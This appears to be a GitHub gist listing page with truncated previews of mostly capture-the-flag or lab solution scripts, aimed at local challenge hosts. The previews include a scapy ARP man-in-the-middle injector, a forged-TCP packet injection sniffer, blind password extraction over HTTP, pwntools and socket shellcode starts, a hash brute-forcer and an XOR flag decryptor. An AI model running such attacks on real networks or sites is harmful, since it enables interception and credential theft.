This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // 2017 China Collegiate Programming Contest Final (CCPC-Final 2017), problem: (E) Evil Forest. | |
| // This was asked some time ago in an interview - might be relevant to someone, idk. | |
| #include <iostream> | |
| using namespace std; | |
| #define for_each_case(i, num_cases) for (int i = 1; i <= num_cases; i++) | |
| #define left_child_index(x) (x << 1) | |
| #define right_child_index(x) (x << 1 | 1) | |
| #define long_long long long |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Ether/ARP Man-In-Ihe-Middle (MITM) Injection | |
| # . . | |
| # .| |. | |
| # || || | |
| # \\()// | |
| # .={}=. | |
| # / /`'\ \ | |
| # ` \ / ' | |
| # \/ | |
| from scapy.all import * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .intel_syntax noprefix | |
| .global _start | |
| .section .text | |
| _start: | |
| # create socket | |
| mov rdi, 2 # AF_INET | |
| mov rsi, 1 # SOCK_STREAM | |
| xor rdx, rdx # IPPROTO_IP |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .intel_syntax noprefix | |
| .global _start | |
| .section .text | |
| _start: | |
| # create socket | |
| mov rdi, 2 # AF_INET | |
| mov rsi, 1 # SOCK_STREAM | |
| xor rdx, rdx # IPPROTO_IP |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .intel_syntax noprefix | |
| .global _start | |
| .section .text | |
| _start: | |
| # create socket | |
| mov rdi, 2 # AF_INET | |
| mov rsi, 1 # SOCK_STREAM | |
| xor rdx, rdx # IPPROTO_IP |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| import warnings | |
| warnings.filterwarnings('ignore') | |
| context.arch = 'amd64' | |
| context.log_level = 'critical' | |
| # Start the challenge process | |
| r = process('/challenge/run') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| url = 'http://challenge.localhost/' | |
| password = '' | |
| position = 1 | |
| characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%^&*()-=+[]\\|;:\'",.<>/?`~ ' | |
| while True: | |
| found_char = False |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from scapy.all import * | |
| def sniff_packets(): | |
| def intercept(packet): | |
| if packet.haslayer(IP) and packet[IP].src in ["10.0.0.4", "10.0.0.3"] and packet[IP].dst in ["10.0.0.3", "10.0.0.4"]: | |
| print("Packet from {} to {}: ".format(packet[IP].src, packet[IP].dst)) | |
| print(packet.summary()) | |
| if packet.haslayer(TCP) and packet[TCP].dport == 31337: | |
| response = IP(src=packet[IP].dst, dst=packet[IP].src)/TCP(sport=packet[TCP].dport, dport=packet[TCP].sport, seq=packet[TCP].ack, ack=packet[TCP].seq + len(packet[TCP].payload), flags="PA")/"Injected Payload" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import hashlib | |
| import os | |
| def find_specific_hash_collision(target_prefix_hex): | |
| target_prefix = bytes.fromhex(target_prefix_hex) | |
| attempts = 0 | |
| while True: | |
| data = os.urandom(16) | |
| hash_object = hashlib.sha256(data) | |
| hash_digest = hash_object.digest() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import base64 | |
| def xor_bytes(a, b): | |
| """XOR two bytes objects.""" | |
| return bytes(x ^ y for x, y in zip(a, b)) | |
| def decrypt_flag(ciphertexts, plaintexts, flag_ciphertext): | |
| """Attempt to decrypt the flag using known ciphertexts and plaintexts.""" | |
| keys = [] | |
| for ptext, ctext in zip(plaintexts, ciphertexts): |
OlderNewer